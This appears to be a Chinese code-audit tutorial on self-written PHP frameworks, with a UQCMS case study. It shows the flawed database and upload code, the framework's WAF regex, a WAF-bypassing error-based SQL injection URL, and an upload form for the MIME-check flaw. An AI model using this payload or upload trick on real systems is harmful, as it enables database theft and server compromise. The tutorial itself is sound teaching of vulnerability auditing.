基于框架开发的程序的代码审计思路2
字数 867 2025-08-27 12:33:48

基于自写框架的代码审计方法与实战分析

审计思路概述

对于开发者自写的框架,审计思路应遵循以下流程:

  1. 核心文件审计:首先审查框架的核心文件,特别是数据库操作、文件上传、输入过滤等关键功能
  2. 调用链追踪:从核心功能点出发,追踪其在应用程序中的调用路径
  3. 模型层审计:检查业务模型中的安全实现
  4. 架构分析:通过目录结构和命名规则理解程序架构

案例研究:UQCMS电商系统审计

1. SQL注入漏洞审计

核心数据库操作类分析

UQframework/db.class.php中发现关键问题:

function query($uq1) {
    if (empty($uq1)) {
        return false;
    }
    // 直接执行SQL查询,无任何过滤
    $uq3 = $this->conn->query($uq1);
    // ...其他代码...
}

对比其他方法(如add())有过滤措施:

function add($uq6, $uq7) {
    foreach ($uq7 as $uq10 => $uq11) {
        if (!get_magic_quotes_gpc()) {
            $uq9 .= "'" . addslashes($uq11) . "',";
        } else {
            $uq9 .= "'" . $uq11 . "',";
        }
    }
    // ...构建SQL语句...
}

危险调用点

get_one()方法直接调用未过滤的query()

function get_one($uq1) {
    $uq3 = $this->query($uq1); // 直接传入原始SQL
    // ...处理结果...
}

实际漏洞点示例

/home/controls/demo.class.php中:

function index() {
    $uq0 = $_GET['gid'] ?? false;
    // 直接拼接用户输入到SQL语句
    $uq1 = $this->db->get_one("select * from " . table('goods') . " where id = " . $uq0);
    // ...其他代码...
}

WAF绕过分析

框架存在WAF防护:

$uq4 = "/\\b(and|or)\\b.{1,6}(=|>|<|\\bin\\b|\\blike\\b)|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)/is";

function StopAttack($uq7, $uq8, $uq9) {
    if (preg_match("/" . $uq9 . "/is", $uq7) == 1) {
        safe_error_msg();
    }
    // ...其他检查...
}

绕过方法:

  • 使用注释分割关键字:/**/
  • 示例Payload:
http://127.0.0.1/index.php/demo/index/?gid=2/**/and(updatexml(1,concat(0x7e,user(),0x7e),1))

2. 文件上传漏洞审计

核心上传类分析

UQframework/class/upload.class.php中:

static public function store($uq2, $uq3 = null, $uq4 = null) {
    // ...获取上传文件信息...
    if (in_array($uq7, ['image/jpeg', 'image/gif', 'image/png'])) {
        // 仅检查MIME类型,可被伪造
        // ...文件大小检查...
    }
}

实际调用点

/home/controls/album.class.php中:

public function upload_temp() {
    $uq2 = upload::store('temp/images');
    echo json_encode($uq2);
}

模型层上传漏洞

在模型中发现类似问题:

function upload_function($uq4, $uq6, $uq7, $uq8, $uq9) {
    if (in_array($uq7, ['image/jpeg', 'image/gif', 'image/png', 'jpg', 'gif', 'png'])) {
        // 仅检查MIME类型和扩展名
        // ...文件处理...
    }
}

漏洞利用方法

构造上传表单:

<form action="http://127.0.0.1/index.php/album/upload_temp/" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>

审计方法论总结

  1. 核心文件优先:首先审计框架核心文件,特别是:

    • 数据库操作类
    • 文件上传处理类
    • 输入过滤和WAF实现
  2. 调用链追踪

    • 从危险函数(如未过滤的SQL执行)出发,查找调用路径
    • 使用工具辅助搜索调用点(如Seay源代码审计工具)
  3. 模型层审计

    • 检查业务模型中的安全实现
    • 特别注意模型中对核心功能的封装调用
  4. 防御机制分析

    • 识别WAF/过滤规则
    • 分析可能的绕过方法
  5. 实战技巧

    • 通过目录结构和命名规则快速定位关键文件
    • 关注开发者自定义的安全函数实现
    • 检查所有用户输入点与危险函数的组合

推荐练习

建议下载UQCMS进行实战练习,重点关注:

  1. 数据库操作类的所有调用点
  2. 文件上传功能的所有实现路径
  3. WAF规则的绕过可能性
  4. 模型层与控制器层的交互方式
基于自写框架的代码审计方法与实战分析 审计思路概述 对于开发者自写的框架,审计思路应遵循以下流程: 核心文件审计 :首先审查框架的核心文件,特别是数据库操作、文件上传、输入过滤等关键功能 调用链追踪 :从核心功能点出发,追踪其在应用程序中的调用路径 模型层审计 :检查业务模型中的安全实现 架构分析 :通过目录结构和命名规则理解程序架构 案例研究:UQCMS电商系统审计 1. SQL注入漏洞审计 核心数据库操作类分析 在 UQframework/db.class.php 中发现关键问题: 对比其他方法(如 add() )有过滤措施: 危险调用点 get_one() 方法直接调用未过滤的 query() : 实际漏洞点示例 在 /home/controls/demo.class.php 中: WAF绕过分析 框架存在WAF防护: 绕过方法: 使用注释分割关键字: /**/ 示例Payload: 2. 文件上传漏洞审计 核心上传类分析 在 UQframework/class/upload.class.php 中: 实际调用点 在 /home/controls/album.class.php 中: 模型层上传漏洞 在模型中发现类似问题: 漏洞利用方法 构造上传表单: 审计方法论总结 核心文件优先 :首先审计框架核心文件,特别是: 数据库操作类 文件上传处理类 输入过滤和WAF实现 调用链追踪 : 从危险函数(如未过滤的SQL执行)出发,查找调用路径 使用工具辅助搜索调用点(如Seay源代码审计工具) 模型层审计 : 检查业务模型中的安全实现 特别注意模型中对核心功能的封装调用 防御机制分析 : 识别WAF/过滤规则 分析可能的绕过方法 实战技巧 : 通过目录结构和命名规则快速定位关键文件 关注开发者自定义的安全函数实现 检查所有用户输入点与危险函数的组合 推荐练习 建议下载UQCMS进行实战练习,重点关注: 数据库操作类的所有调用点 文件上传功能的所有实现路径 WAF规则的绕过可能性 模型层与控制器层的交互方式